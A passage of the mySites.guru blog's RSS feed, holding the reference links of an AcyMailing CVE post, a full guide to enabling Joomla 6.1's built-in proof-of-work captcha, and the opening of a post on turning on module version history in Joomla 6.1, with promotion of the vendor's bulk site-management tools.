&lt;li&gt;&lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;acyba/acymailing on GitHub&lt;/a&gt; — tagged source for every public release, the diff we used is between &lt;code&gt;v10.8.1&lt;/code&gt; and &lt;code&gt;v10.8.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; and the &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;VEL about page&lt;/a&gt; — the official statement of what VEL is and is not&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence vulnerability database&lt;/a&gt;, &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack database&lt;/a&gt;, and &lt;a href=&quot;https://wpscan.com/plugins/&quot;&gt;WPScan plugins directory&lt;/a&gt; — the three commercial WordPress vulnerability feeds CVE-2026-3614 appears in&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Program list of CNAs&lt;/a&gt; — search for &quot;Wordfence&quot; and &quot;Patchstack&quot; to see the WordPress-focused CVE authorities; no Joomla equivalent exists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html&quot;&gt;OWASP Access Control Cheat Sheet&lt;/a&gt; — the distinction between authentication, authorization, and CSRF protection that plugin developers keep conflating&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stop missing Joomla CVEs that only get announced for WordPress&lt;/h2&gt;
&lt;p&gt;If Wordfence and NVD are the only feeds you watch, you will keep missing the Joomla half of cross-platform disclosures. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Connect your sites to mySites.guru&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; does the cross-referencing for both CMS platforms, twice a day. Every site running a vulnerable version, Joomla and WordPress together, in one list.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>vulnerability</category><category>acymailing</category><category>ajax</category><enclosure url="https://mysites.guru/_astro/acymailing-cve-2026-3614-joomla.CMA7HLRG.png" length="0" type="image/png"/></item><item><title>How to Enable POW Captcha in Joomla 6.1</title><link>https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/</guid><description>Joomla 6.1 ships a built-in proof-of-work captcha that replaces Google reCAPTCHA. Here is how to enable it across one site or an entire portfolio, with mySites.guru or by hand.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;POW CAPTCHA&lt;/strong&gt; = proof-of-work CAPTCHA. The visitor&apos;s browser solves a small maths puzzle in the background instead of clicking traffic lights. Cheap for one form submission, expensive for a bot doing thousands. No images, no third party.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1&lt;/a&gt; shipped a built-in proof-of-work captcha plugin called &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt;. It is based on the &lt;a href=&quot;https://altcha.org&quot;&gt;Altcha&lt;/a&gt; open-source library, it does not call out to Google or any other third party, and it does not need an API key. For the first time in fifteen years, putting a Joomla site live with spam protection does not start with a registration form for someone else&apos;s service.&lt;/p&gt;
&lt;p&gt;This post covers how to turn it on. There are two routes: the mySites.guru route if you manage more than one Joomla site, and the manual route if you only have one. Both get you to the same place.&lt;/p&gt;
&lt;h2&gt;How to Enable POW Captcha Across Every Joomla 6.1 Site at Once With mySites.guru&lt;/h2&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, enabling a new core feature is rarely the bottleneck. The work is walking through thirty admin backends, clicking through the same plugin toggle and Global Configuration save thirty times, and then checking that nothing broke on each site&apos;s contact form.&lt;/p&gt;
&lt;p&gt;mySites.guru now ships a tool called &lt;strong&gt;Enable POW Captcha On Joomla 6.1 Sites&lt;/strong&gt; that collapses that whole sequence into one button per site, or one bulk run across the whole portfolio. The tool:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Detects&lt;/strong&gt; which of your connected sites are running Joomla 6.1 or later. Older sites are skipped, because the plugin does not exist on them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audits&lt;/strong&gt; each 6.1 site to see whether &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt; is installed, whether it is enabled, and whether Global Configuration has it set as the Default Captcha.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flags&lt;/strong&gt; every site where any of those three conditions is not met, with a clear red, amber, or green status per row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fixes&lt;/strong&gt; any flagged site with a single click. The connector enables the plugin and writes the &lt;code&gt;captcha&lt;/code&gt; key in the &lt;code&gt;#__extensions&lt;/code&gt; config for &lt;code&gt;com_config&lt;/code&gt; to &lt;code&gt;powcaptcha&lt;/code&gt;. No admin login, no browser tab juggling.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One click on &lt;strong&gt;Enable proof-of-work captcha&lt;/strong&gt; and the same tool comes back green:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From the all-sites tool view, you see the captcha status for every connected Joomla 6.1 site in one table and toggle on the ones that still need it. For a thirty-site agency portfolio, this is the difference between a project and an afternoon.&lt;/p&gt;
&lt;p&gt;The audit also reports which sites are still using Google reCAPTCHA, which is useful in its own right. Even if you do not migrate everything today, having a live inventory of &quot;these six sites still depend on a Google account for captcha&quot; means nothing quietly breaks when that account expires or Google deprecates a version.&lt;/p&gt;
&lt;h2&gt;How to Enable POW Captcha Manually in Joomla 6.1&lt;/h2&gt;
&lt;p&gt;If you only have one Joomla site, or you want to understand exactly what the tool does before pushing it out across your portfolio, it is a two-step job.&lt;/p&gt;
&lt;h3&gt;Step 1: Enable the plugin&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt;, then &lt;strong&gt;Plugins&lt;/strong&gt;. Search for &lt;code&gt;powcaptcha&lt;/code&gt; (or just &lt;code&gt;captcha&lt;/code&gt;). You will see a plugin called &lt;strong&gt;CAPTCHA - Proof of Work&lt;/strong&gt;. Open it.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three plugin settings matter:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Difficulty.&lt;/strong&gt; Easy, Medium, or Hard. Easy is fine for a normal contact form. Hard adds more compute cost per submission, useful on endpoints that attract heavy spam like user registration or comment forms. Default is Easy and there is no reason to change it until you see real abuse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic Solution.&lt;/strong&gt; Controls when the browser starts solving the puzzle. &lt;strong&gt;When CAPTCHA field receives focus&lt;/strong&gt; is the default and works well. &lt;strong&gt;On page load&lt;/strong&gt; starts solving earlier, fractionally better for slow devices but means the puzzle runs even if the visitor never submits. &lt;strong&gt;On submit&lt;/strong&gt; delays solving until the visitor clicks submit and adds a visible pause. Stick with the default.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expiration.&lt;/strong&gt; How long the solved puzzle stays valid. Five minutes is the default, which matches how long a real visitor takes to fill out a contact form. If you have a long multi-page form, bump it higher.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Set &lt;strong&gt;Status&lt;/strong&gt; to &lt;strong&gt;Enabled&lt;/strong&gt; and hit &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Step 2: Make it the site-wide default&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Global Configuration&lt;/strong&gt;, then the &lt;strong&gt;Site&lt;/strong&gt; tab. Find the &lt;strong&gt;Default Captcha&lt;/strong&gt; field. It will currently be set to &lt;strong&gt;- None Selected -&lt;/strong&gt; or whichever captcha plugin you were using before.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Change it to &lt;strong&gt;CAPTCHA - Proof of Work&lt;/strong&gt; and save.&lt;/p&gt;
&lt;p&gt;That is it. Any form in Joomla that uses the captcha API now gets POW captcha by default. That covers Joomla&apos;s own contact forms, user registration, password reset forms, and most well-behaved third-party extensions.&lt;/p&gt;
&lt;h3&gt;Step 3: Verify it actually works&lt;/h3&gt;
&lt;p&gt;Open the site&apos;s contact form in a private browser window. Submit it with a test message. The submission should go through with no visible captcha challenge. If the form has a hard-coded reCAPTCHA widget from a template override or a third-party extension, you will see it and that is the hint to fix it separately.&lt;/p&gt;
&lt;p&gt;If you want to see the plugin in action, open the browser devtools, watch the Network tab, and submit the form. You should see an extra form field named &lt;code&gt;altcha&lt;/code&gt; or similar going up with the submission. That is the solved puzzle.&lt;/p&gt;
&lt;h3&gt;Step 4: Turn off Google reCAPTCHA if you were using it&lt;/h3&gt;
&lt;p&gt;Now that POW captcha is the default, the reCAPTCHA plugin is doing nothing. Go back to &lt;strong&gt;Extensions&lt;/strong&gt;, then &lt;strong&gt;Plugins&lt;/strong&gt;, find &lt;strong&gt;CAPTCHA - ReCAPTCHA&lt;/strong&gt;, disable it, and remove the site key and secret key from the plugin configuration. Removing the keys now means they are not sitting in the database as a liability if the site is compromised later.&lt;/p&gt;
&lt;h2&gt;What Is a Proof-of-Work Captcha, Actually?&lt;/h2&gt;
&lt;p&gt;Traditional captchas ask a human to prove they are human. Pick the traffic lights. Read the distorted text. Click the checkbox that Google&apos;s fingerprinting thinks a real browser clicked. They all share a flaw: if the bot is good enough at the specific task, it wins. Bots have gotten very good.&lt;/p&gt;
&lt;p&gt;Proof-of-work flips the question. Instead of testing humans against bots, it asks both of them to do a small bit of computational work before the form submission counts. The browser is given a random number and a target, and it has to find another number whose combined hash matches the target. This is the same Hashcash-style puzzle that underpins Bitcoin, just tuned to take a fraction of a second in a browser rather than ten minutes on a mining rig.&lt;/p&gt;
&lt;p&gt;A legitimate visitor submitting one contact form does not notice the extra few hundred milliseconds. A spammer trying to submit the same form ten thousand times an hour absolutely notices the extra thousand CPU-seconds. Spam is an economics problem, and POW captchas break the economics.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;strong&gt;Why &quot;proof of work&quot; beats &quot;prove you are human&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &quot;are you human&quot; framing assumes there is a test a human passes and a bot fails. In 2024, researchers at ETH Zurich &lt;a href=&quot;https://arxiv.org/abs/2409.08831&quot;&gt;showed that bots now solve reCAPTCHA v2 challenges 100% of the time&lt;/a&gt;, matching human success rates. The test has stopped testing anything. Proof of work does not care whether the submitter is human; it just charges both of them for the privilege of submitting.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Where Does Altcha Fit In?&lt;/h2&gt;
&lt;p&gt;The Joomla plugin is called &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt; on purpose. The naming is library-agnostic so the Joomla project can swap the underlying implementation later if a better one comes along. For now, the engine is &lt;a href=&quot;https://altcha.org&quot;&gt;Altcha&lt;/a&gt;, an MIT-licensed proof-of-work library maintained by BAU Software s.r.o. in Brno, Czechia.&lt;/p&gt;
&lt;p&gt;Altcha has been around since 2023 and is now on version 3. It supports several hash algorithms (SHA-256 with a key derivation function is the default, with optional Argon2id and scrypt), is small enough to ship in core without bloating Joomla, and documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant. Akeeba Ltd already shipped a &lt;a href=&quot;https://github.com/akeeba/plg_captcha_altcha&quot;&gt;third-party &lt;code&gt;plg_captcha_altcha&lt;/code&gt; plugin&lt;/a&gt; for Joomla users who wanted this earlier, and Nicholas Dionysopoulos continues to maintain it. From Joomla 6.1 onwards, the functionality is in core.&lt;/p&gt;
&lt;p&gt;The decision to bundle Altcha rather than roll a Joomla-specific library was the right call. Captchas have subtle implementation failures that only show up at scale, and piggybacking on a library used outside the Joomla world means bugs get found and fixed by a larger pool of eyes.&lt;/p&gt;
&lt;h2&gt;What Happens Under the Hood When a Form Is Submitted?&lt;/h2&gt;
&lt;p&gt;Worth a minute if you ever need to debug why a submission is being rejected.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When the form renders, the server embeds a challenge into the form HTML: a random salt, a random number, and a target hash value. These get stored in the database so the server can verify them later.&lt;/li&gt;
&lt;li&gt;The visitor&apos;s browser runs a small JavaScript function that tries increasing numbers until it finds one where &lt;code&gt;hash(salt + number) &amp;lt;= target&lt;/code&gt;. This is the &quot;work&quot;. At Easy difficulty, a modern browser finds a solution in 100 to 500 milliseconds. At Hard, 2 to 3 seconds.&lt;/li&gt;
&lt;li&gt;When the form is submitted, the found number is sent along with the other form data.&lt;/li&gt;
&lt;li&gt;The server retrieves the original challenge, verifies the submitted number is a valid solution, checks the submission is not past the expiration window, and then deletes the challenge row so the solution cannot be replayed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The database table is created by the SQL migration in &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/6.1.0-2025-11-29.sql&lt;/code&gt;. It is small. The provider class in &lt;code&gt;plugins/captcha/powcaptcha/src/Provider/POWCaptchaProvider.php&lt;/code&gt; handles verification.&lt;/p&gt;
&lt;p&gt;One practical consequence: the captcha is stateful. A site with millions of form views per hour will see millions of rows being written and deleted in that table. For the contact form on a brochure site this is nothing. For a high-traffic registration endpoint it is a worth-watching load.&lt;/p&gt;
&lt;h2&gt;What Does This Mean for GDPR?&lt;/h2&gt;
&lt;p&gt;A real issue, not a theoretical one. In France, the &lt;a href=&quot;https://datadome.co/bot-management-protection/ruling-recaptcha-uses-data-for-purposes-other-than-security-french-privacy-commission/&quot;&gt;CNIL has ruled&lt;/a&gt; that Google reCAPTCHA accesses terminal data beyond what is strictly necessary for security. Under Article 82 of the French Data Protection Act, that means sites need prior consent before reCAPTCHA loads. CITYSCOOT was fined EUR 125,000 and NS CARDS FRANCE EUR 105,000, in both cases partly for improper reCAPTCHA deployment.&lt;/p&gt;
&lt;p&gt;In practice, that ruling has not stopped anyone from using reCAPTCHA, because the consent banner shows up before the captcha loads and everyone clicks Accept without reading. But it has created a compliance debt nobody quite wants to deal with. German data protection authorities have taken similar positions over the years, and since Joomla has a strong German contributor base, I would guess that is part of why the project prioritised a self-hosted alternative.&lt;/p&gt;
&lt;p&gt;POW captcha does not send anything to any third party. There is no external request, no fingerprinting, no cookie set by the captcha. Whatever cookie policy your site has for other reasons still applies, but the captcha is not adding anything to disclose. For EU-facing sites where the cookie banner is already a UX tax, that is one less line on the list.&lt;/p&gt;
&lt;h2&gt;What About Accessibility?&lt;/h2&gt;
&lt;p&gt;Traditional captchas have been a disaster for disabled users since the day they were invented. The W3C published the note &lt;a href=&quot;https://www.w3.org/TR/turingtest/&quot;&gt;Inaccessibility of CAPTCHA&lt;/a&gt; back in 2005 documenting how visual, audio, and cognitive challenges all exclude some group of legitimate users. Twenty-one years later, image grids are still the default experience on most reCAPTCHA-protected forms.&lt;/p&gt;
&lt;p&gt;POW captcha is invisible. There is no test the visitor fails. A screen reader user, a keyboard-only user, someone with motor control issues, someone on a weird mobile browser: all of them fill the form and submit, the puzzle solves in the background, and it works. The &lt;a href=&quot;https://altcha.org/accessible-captcha/&quot;&gt;Altcha project&lt;/a&gt; documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant, and I believe them, because there is nothing for the visitor to interact with in the first place.&lt;/p&gt;
&lt;h2&gt;What Does Not Work Yet: Rate Limiting&lt;/h2&gt;
&lt;p&gt;The pull request description calls this out honestly. Altcha recommends ramping up puzzle difficulty when the same source keeps submitting. A first submission gets Easy difficulty. The tenth submission in ten minutes from the same IP gets Hard. The hundredth gets punishingly hard. This makes spam runs progressively more expensive and eventually uneconomic.&lt;/p&gt;
&lt;p&gt;Joomla 6.1 does not do this yet. The reason is that Joomla core does not have a generic rate-limiting framework, and building one is its own medium-sized project. The captcha plugin still blocks casual bots just fine at a fixed difficulty; where the missing framework shows up is the dedicated spammer who does not care about cost per submission and will grind through.&lt;/p&gt;
&lt;p&gt;The framework is on the official roadmap, but not for 6.x. Harald Leithner is leading a &lt;a href=&quot;https://developer.joomla.org/features/46-joomla-7-x/48-defend-and-expand-market-lead/1000-rate-limiting-framework.html&quot;&gt;Rate Limiting Framework feature proposal&lt;/a&gt; targeted at Joomla 7.x, currently in Planning. The design will be modelled on Symfony&apos;s Rate Limiter and cover login, password reset, MFA, search, contact forms, and captcha difficulty escalation. There is no open PR or issue in the joomla-cms repo against it yet; the feature entry is the only public artifact. Do not expect automatic difficulty ramping in any 6.x release.&lt;/p&gt;
&lt;p&gt;Practical advice: if you have a specific endpoint that is getting hammered, crank the plugin&apos;s Difficulty to Hard globally. That slows every legitimate visitor by one or two seconds. Annoying but acceptable. The alternative is layering in separate rate limiting at the web server or WAF level.&lt;/p&gt;
&lt;h2&gt;Common Gotchas When Switching to POW Captcha&lt;/h2&gt;
&lt;p&gt;Things to check after you have enabled the plugin and set it as the default.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hard-coded reCAPTCHA in a template.&lt;/strong&gt; Some Joomla templates include a reCAPTCHA widget directly in the contact form override. Changing the Default Captcha in Global Configuration does not affect these. You need to edit the template override, or switch to a template that uses the Joomla captcha API.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Third-party form builders.&lt;/strong&gt; Most of the major Joomla form builders (ChronoForms, Convert Forms, RSForm!Pro, Fabrik) integrate with the Joomla captcha API and pick up the Default Captcha automatically. Some older extensions have their own captcha settings inside the form editor that need to be changed form by form.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caching plugins.&lt;/strong&gt; If you use a page cache on the front end, the captcha challenge is baked into the cached HTML and the same challenge is served to every visitor. That is both a functional bug (challenges can be replayed) and a security problem. Most Joomla caching setups already exclude contact-form pages from caching; double-check yours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Privacy policy.&lt;/strong&gt; Your privacy policy might currently say &quot;we use Google reCAPTCHA to prevent spam&quot;. Delete that sentence. If you are using the POW captcha, the privacy policy does not need to mention any third-party service for form protection.&lt;/p&gt;
&lt;h2&gt;Should You Switch Everything to POW Captcha Today?&lt;/h2&gt;
&lt;p&gt;Short answer: yes, but do not rip out reCAPTCHA without a plan.&lt;/p&gt;
&lt;p&gt;Long answer: set POW captcha as the Joomla default on every site. Check each site&apos;s forms still work. On sites where reCAPTCHA is only wired up through the Joomla captcha API, you can then disable the Google reCAPTCHA plugin and delete the API keys. On sites where reCAPTCHA is hard-coded into a third-party extension or a custom template, update those integrations individually.&lt;/p&gt;
&lt;p&gt;The big risk is not technical, it is completeness. Half-switched sites are worse than fully-on-one-or-the-other sites, because now you have two captcha plugins enabled and the site is doing two sets of work for every form submission. Make a list, work through it, check each site, mark it done. That is exactly the kind of thing the mySites.guru Enable POW Captcha tool is for.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5950-joomla-6-1-is-here.html&quot;&gt;Joomla! 6.1 release announcement&lt;/a&gt; - official post from the Joomla project.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46514&quot;&gt;PR #46514: Add proof-of-work captcha&lt;/a&gt; - the pull request that landed the feature, with full context from David Jardin and sponsor GLS Parcel Services.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/features/46-joomla-7-x/48-defend-and-expand-market-lead/1000-rate-limiting-framework.html&quot;&gt;Joomla 7.x Rate Limiting Framework proposal&lt;/a&gt; - Harald Leithner&apos;s feature proposal to add a Symfony-style rate limiter to Joomla core, which will eventually unlock automatic difficulty ramping for the POW captcha.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://altcha.org/docs/v2/proof-of-work-captcha/&quot;&gt;Altcha documentation&lt;/a&gt; - the underlying library, including the algorithm, configuration options, and compliance notes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2409.08831&quot;&gt;Breaking reCAPTCHAv2 (ETH Zurich, 2024)&lt;/a&gt; - the paper showing bots now solve reCAPTCHA v2 at 100% success rates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/system/files/usenixsecurity23-searles.pdf&quot;&gt;Dazed &amp;amp; Confused: A Large-Scale Real-World User Study of reCAPTCHA (USENIX Security 2023)&lt;/a&gt; - 13-month real-world study showing reCAPTCHA costs users more time than it catches bots.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/turingtest/&quot;&gt;W3C Note: Inaccessibility of CAPTCHA&lt;/a&gt; - the canonical accessibility critique of traditional captchas.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datadome.co/bot-management-protection/ruling-recaptcha-uses-data-for-purposes-other-than-security-french-privacy-commission/&quot;&gt;CNIL ruling on reCAPTCHA&lt;/a&gt; - context on why EU sites have been quietly uneasy about Google reCAPTCHA for years.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1: What&apos;s new&lt;/a&gt; - the full 6.1 feature roundup if you want the bigger picture.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;How to disable &quot;send copy to submitter&quot; in Joomla&lt;/a&gt; - one of the older workarounds Joomla sites used to fight contact form spam. POW captcha is now the better default.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; - PHP and database minimums you need before you can run 6.1 at all, and therefore before the POW captcha plugin is even available.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;How to verify Joomla email configuration works&lt;/a&gt; - pair captcha protection on the browser side with an end-to-end email test so you know contact form submissions actually reach you.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>security</category><category>gdpr</category><category>captcha</category><enclosure url="https://mysites.guru/_astro/how-to-enable-pow-captcha-in-joomla-6-1.DAyw3dvp.png" length="0" type="image/png"/></item><item><title>How to Turn On Module Versioning in Joomla 6.1</title><link>https://mysites.guru/blog/joomla-6-1-module-versioning/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-module-versioning/</guid><description>Joomla 6.1 finally brings version history to modules. Here&apos;s how to enable save_history manually, and how mySites.guru flips it on across every site in one click.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 6.1 &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;shipped yesterday&lt;/a&gt; with one feature that will feel overdue to anyone who has ever lost a module edit: version history for modules. Articles have had this since Joomla 3.2 in 2013. Menu items, categories, tags, contacts, newsfeeds, and user notes picked it up along the way. Modules were the glaring hole in the list. Joomla 6.1.0 finally closes it.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, you have almost certainly been bitten by this. A typo in a custom HTML module, a bad class name on a menu module, a well-meaning client who &quot;just tweaked the footer&quot; and took their own site offline. Without versioning, the only way back is your last backup, or opening the module side by side with a staging copy and reconstructing the old content by hand.&lt;/p&gt;
&lt;p&gt;In 6.1, once you turn the feature on, every module save is captured. Open the Versions panel while editing and you get the same diff-and-restore UI you already use for articles. One click and the module is back.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Enables Joomla Module Versioning on Every Site at Once&lt;/h2&gt;
&lt;p&gt;Joomla 6.1 ships with module versioning turned off. On a single site that is a two-click fix. On thirty client sites it is thirty logins, thirty Options dialogs, thirty Save clicks, and thirty reasons to put it off until next week.&lt;/p&gt;
&lt;p&gt;mySites.guru now ships a new audit tool called &lt;strong&gt;Enable Joomla Module Versioning For Safe Rollback Of Module Edits&lt;/strong&gt; that runs on every Joomla 6.1 snapshot. It reads the &lt;code&gt;com_modules&lt;/code&gt; component params, checks whether &lt;code&gt;save_history&lt;/code&gt; is set to &lt;code&gt;1&lt;/code&gt;, and flags any site where it is not. The fix is a single click: the connector writes &lt;code&gt;save_history = 1&lt;/code&gt; and sets a sensible &lt;code&gt;history_limit&lt;/code&gt; of 10 if one is not already configured, directly to the &lt;code&gt;#__extensions&lt;/code&gt; table. No admin login. No browser tab juggling.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One click on &lt;strong&gt;Auto-Magically Fix This For Me&lt;/strong&gt; and the same check comes back green:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/modulesavehistory&quot;&gt;all-sites tool view&lt;/a&gt; you can see the module versioning status for every connected Joomla 6.1 site in one table and toggle on the ones that are still off. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, this is thirty minutes of busywork collapsed into one button.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The audit tool only runs on Joomla 6.1 and later, since the feature itself does not exist on older versions. Older sites are simply skipped in the check.&lt;/p&gt;
&lt;h2&gt;How Do You Enable Joomla Module Versioning Manually in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;If you only have one Joomla site, or you want to understand what the setting does before pushing it out across your portfolio, it is a quick fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into the Joomla 6.1 admin.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Components&lt;/strong&gt;, then &lt;strong&gt;Modules&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; button in the top right of the toolbar.&lt;/li&gt;
&lt;li&gt;On the &lt;strong&gt;Component&lt;/strong&gt; tab, set &lt;strong&gt;Save History&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Leave &lt;strong&gt;Maximum Versions&lt;/strong&gt; at the default of &lt;code&gt;10&lt;/code&gt;, or bump it higher if you edit modules frequently and want a longer rollback window.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save and Close&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is it. From this point on, every module save is tracked.&lt;/p&gt;
&lt;p&gt;One thing that trips people up: the setting is on the &lt;strong&gt;component&lt;/strong&gt; level, not in &lt;strong&gt;System → Global Configuration&lt;/strong&gt;. Joomla has a Global Configuration panel that covers site-wide settings like the site name and session lifetime. Component-specific settings like this one live on each component&apos;s own Options screen, reached through the Components menu. Some older tutorials for content history refer to Global Configuration, but for modules in 6.1 the field is specifically in the com_modules component config.&lt;/p&gt;
&lt;p&gt;You can also reach the same setting through &lt;strong&gt;Extensions → Modules → Options&lt;/strong&gt;. It is the same underlying config row in the database, so changing it in either location applies everywhere.&lt;/p&gt;
&lt;h2&gt;What Does Joomla 6.1 Module Versioning Actually Do Under the Hood?&lt;/h2&gt;
&lt;p&gt;The implementation is smaller than you might expect. Robert Deutz&apos;s &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46772&quot;&gt;pull request #46772&lt;/a&gt; adds just 78 lines of production code. It works by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Adding modules as content type id 14&lt;/strong&gt; in the &lt;code&gt;#__content_types&lt;/code&gt; table. This is the table the &lt;code&gt;com_contenthistory&lt;/code&gt; system uses to know what kinds of items can be versioned. Pre-6.1 there were 13 types (articles, categories, contacts, tags, and so on). 6.1 adds &lt;code&gt;com_modules.module&lt;/code&gt; as id 14.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flipping the save_history switch&lt;/strong&gt; in &lt;code&gt;com_modules&lt;/code&gt; component params. When save_history is 1, the existing contenthistory hook captures every module save.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adding a history_limit field&lt;/strong&gt; in the same component params, defaulting to 10. This tells contenthistory how many versions to keep per module before pruning old ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adding a version_note text field&lt;/strong&gt; to the module edit form. When you save a module, you can optionally leave a short note describing the change. The note appears in the Versions list, so future-you (or whoever has to roll back) can see &quot;fixed client logo width&quot; instead of a timestamp.&lt;/li&gt;
&lt;/ol&gt;
